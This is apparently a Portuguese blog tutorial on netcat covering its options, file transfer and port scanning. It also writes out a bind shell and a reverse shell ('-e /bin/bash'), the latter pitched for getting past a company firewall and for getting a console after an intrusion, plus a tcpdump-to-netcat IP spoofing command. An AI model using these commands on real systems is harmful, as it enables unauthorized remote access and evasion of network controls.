Introdução ao Netcat
Netcat é uma ferramenta usada para ler e escrever dados em conexões de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat é considerado pelos hackers o canivete suíço do TCP/IP, podendo ser usado para fazer desde portscans até brute force attacks.
O nome netcat vem do comando "cat" do Linux/Unix. O cat concatena arquivos e envia para a saída padrão (stdout). O netcat faz praticamente o mesmo, porém ao invés de concatenar arquivos, o netcat concatena sockets TCP e UDP.
Opções do Netcat
-e comando - Executa o comando especificado usando como entrada (stdin) os dados recebidos pela rede e enviando os dados de saída (stdout e stderr) para a rede. Essa opção somente estará presente se o nc for compilado com a opção GAPING_SECURITY_HOLE, já que permite que usuários disponibilizem programas para qualquer um conectado a rede;
-i - Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou recebidas;
-l - Coloca no netcat em estado de escuta (listening);
-L - Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de comando caso a conexão feche;
-n - Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas a servidores DNS;
-o filename - Usando para obter um log dos dados de entrada ou saída, em formato hexadecimal;
-p - Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilégio;
-r - Faz as portas do portscan serem escolhidas aleatoriamente;
-s - Especifica o endereço IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado;
-t - Permite usar o nc para criar sessões de telnet por script. Precisa estar compilado com a opção -DTELNET;
-u - Usar UDP ao invés de TCP;
-v - Controla o nível de mensagens mostradas na tela;
-w - Limita o tempo máximo para que uma conexão seja estabelecida;
-z - Para evitar o envio de dados através de uma conexão TCP, e limitar os dados de uma conexão UDP.
Algumas funções do Netcat
Preparando as interfaces de Rede
Para testar o netcat usaremos dois aliases na interface loopback (lo) do Linux. O endereço IP default da interface lo no Linux é 127.0.0.1. Se mexermos com o endereço 127.0.0.1 podemos quebrar as nossas conexões de rede. Ao invés disso usaremos os aliases lo:1 e lo:2 para executarmos os testes. Para atribuir endereços IP à essas interfaces, os seguintes comandos devem ser executados (como usuário root) no console do Linux:
# ifconfig lo:1 10.0.1.1
# ifconfig lo:2 10.0.1.2O
O comando ifconfig também permite verificar se o comando foi bem sucedido:
$ ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:700 (700.0 b) TX bytes:700 (700.0 b)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:20848 errors:911 dropped:0 overruns:0 frame:926
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb)
lo:2 Link encap:Local Loopbackinet
addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:20848 errors:911 dropped:0 overruns:0 frame:926
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb)
As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois computadores na mesma rede, com IPs diferentes.
O seguinte comando permite usar o netcat para "escutar" o tráfego da rede:
# nc -vv -l -p8080
Listening on any address 8080 (webcache)
Para redirecionar a saída para um arquivo, usa-se o seguinte formato:
# nc -l -p8080 > filename.txt
Para conectar um cliente netcat, usa-se o seguinte comando:
# nc 10.0.1.1 8080
Assim tudo o que for digitado no cliente será repetido no servidor (na primeira console). Use CTRL-C para terminar a conexão. O servidor deverá mostrar um breve resumo da conexão:
Total received bytes: 5
Total sent bytes: 0
Transferindo arquivos com NetCat
Transferir arquivos de um host para outro usando o netcat é bastante simples. Basta configurar o lado server (que vai receber o arquivo) para "escutar" uma porta específica e redirecionar todos os dados recebidos para um arquivo. Colocando-se um timeout, o servidor irá perceber quando não existem mais dados chegando e irá fechar a conexão. No lado cliente da conexão, simplesmente conecta-se à porta do servidor e passa-se o arquivo a ser transferido como entrada.
Servidor:
$ nc -vvn -l -p 3000 -w 30 > file
Listening on any address 3000
Cliente:
$ nc -vvn -w 2 10.0.0.1 3000 < file1
10.0.0.1 3000 open
O servidor irá mostrar a seguinte mensagem quando uma conexão for estabelecida:
Connection from 10.0.0.1:1028
Novamente, a conexão deve ser terminada usando-se o CTRL-C. O servidor irá mostrar:
Exiting.
Total received bytes: 6
Total sent bytes: 0
Enquanto que o cliente mostrará:
Total received bytes: 0
Total sent bytes: 6
Telnet com Netcat
Agora que já sabemos como fazer uma transferência de arquivos, podemos tentar algo mais útil. Por exemplo, podemos nos conectar em uma máquina remota e executar alguns comandos sem passar por mecanismos de controle de acesso. Para isso podemos usar o netcat com a opção -e. Um simples exemplo:
Na console do servidor entre:
$ nc -l -p 5000 -e /bin/bash
No cliente:
$ nc 10.0.1.1 5000
Agora estamos conectados no servidor e com acesso ao shell. Não vemos o prompt, mas podemos ver a saída de cada comando enviado para o servidor:
ls
anaconda-ks.cfg
file
file1
install.log
install.log.syslog
Portscanning com NetCat
É possível usar o netcat para fazer portscans. Para isso deve-se usar a flag -z (zero I/O mode), que apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas UDP, deve-se usar a opção -u.
TCP:
nc -vvn -z xxx.xxx.xxx.xxx start-end
UDP:
nc -u -vvn -z xxx.xxx.xxx.xxx start-end
No exemplo abaixo tentamos fazer um scan das portas 21 até 26. Como pode-se ver, portas fechadas resultam em um"Connection refused" e portas abertas mostram "open". O scan UDP é basicamente o mesmo.
$ nc -vvn -z 10.0.0.1 21-26
10.0.0.1 21 (ftp): Connection refused
10.0.0.1 22 (ssh) open
10.0.0.1 23 (telnet): Connection refused
10.0.0.1 24: Connection refused
10.0.0.1 25 (smtp): Connection refused
10.0.0.1 26: Connection refused
Total received bytes: 0
Total sent bytes: 0
Telnet reverso com NetCat
Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Também possuem algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes não tem um IP válido que podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp não poderia ser usado.
Por exemplo, temos um servidor que aceita apenas conexões externas na porta 80, mas não tem um IP externo válido. O computador de casa provavelmente possui um IP real válido e portas que podem ser abertas ou fechadas conforme a necessidade. Invertendo as direções das conexões pode-se resolver esse problema: basta fazer o computador do escritório conectar no computador de casa, recebendo comandos do cliente a executando-os no servidor. Essa técnica é conhecida como Telnet Reverso.
Vamos chamar o computador do escritório de WORK e o computador de casa HOME. Se o computador HOME for configurado para usar IP dinâmico, precisaremos de um nome para DNS dinâmico, tipo o serviço fornecido pela dyndns.org. No computador WORK configuramos um job cron para iniciar às 19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sessão bash. Para isso, em casa deve-se iniciar (antes das 19:00) o netcat das seguinte forma:
# nc -vv -l -p 80
Às 10:00, WORK conecta ao HOME, inicia o bash e está pronto para executar qualquer comando que queremos.
Testando o telnet reverso na nossa rede virtual:
Para colocar o cliente (HOME) em modo de espera, escutando uma conexão:
# nc -vv -l -p 80
Listening on any address 80
Para conectar a partir do servidor (WORK):
# nc 10.0.1.1 80 -e /bin/bash
Essa técnica é bem simples e eficiente, pois usa somente a porta 80, que dificilmente estará bloqueada no firewall. A partir do computador HOME você pode enviar comandos para o WORK e receber o resultado localmente.
Além disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois de uma invasão.
Você pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexão é HTTPS, você pode usar o tunnel para tunelar o nc, ou apenas o próprio stunnel. Para mais detalhes veja a man page do stunnel:
$ man stunnel
A sintaxe do comando deverá ser algo parecido com a seguinte linha:
$ (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port
IP Spoofing
Usando o netcat você pode fazer inclusive spoofing de endereços IP. Se você estiver escutando o tráfego em um segmento, você pode enviar esse tráfego para outro host usando o protocolo UDP. O comando deverá ser tipo:
$ tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port>
Isso também requer que você configure o endereço IP spoofed para um alias na sua interface de rede:
$ ifconfig eth0:N spoofed_ip
Onde N é o alias a ser configurado. Isso irá causar problemas com o host que está sendo spoofed, já que o mesmo endereço IP é propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping.
Agradecimentos finais
Gostaria de agradecer ao Google, que é uma grande fonte de conhecimento, aos meus amigos Seth, Mobster, JP, Chemonz, que sempre me ajudaram quando tinha alguma dúvida, tendo uma paciência de Jó e o mais importante à Deus.
Fonte de consulta:
Nenhum comentário:
Postar um comentário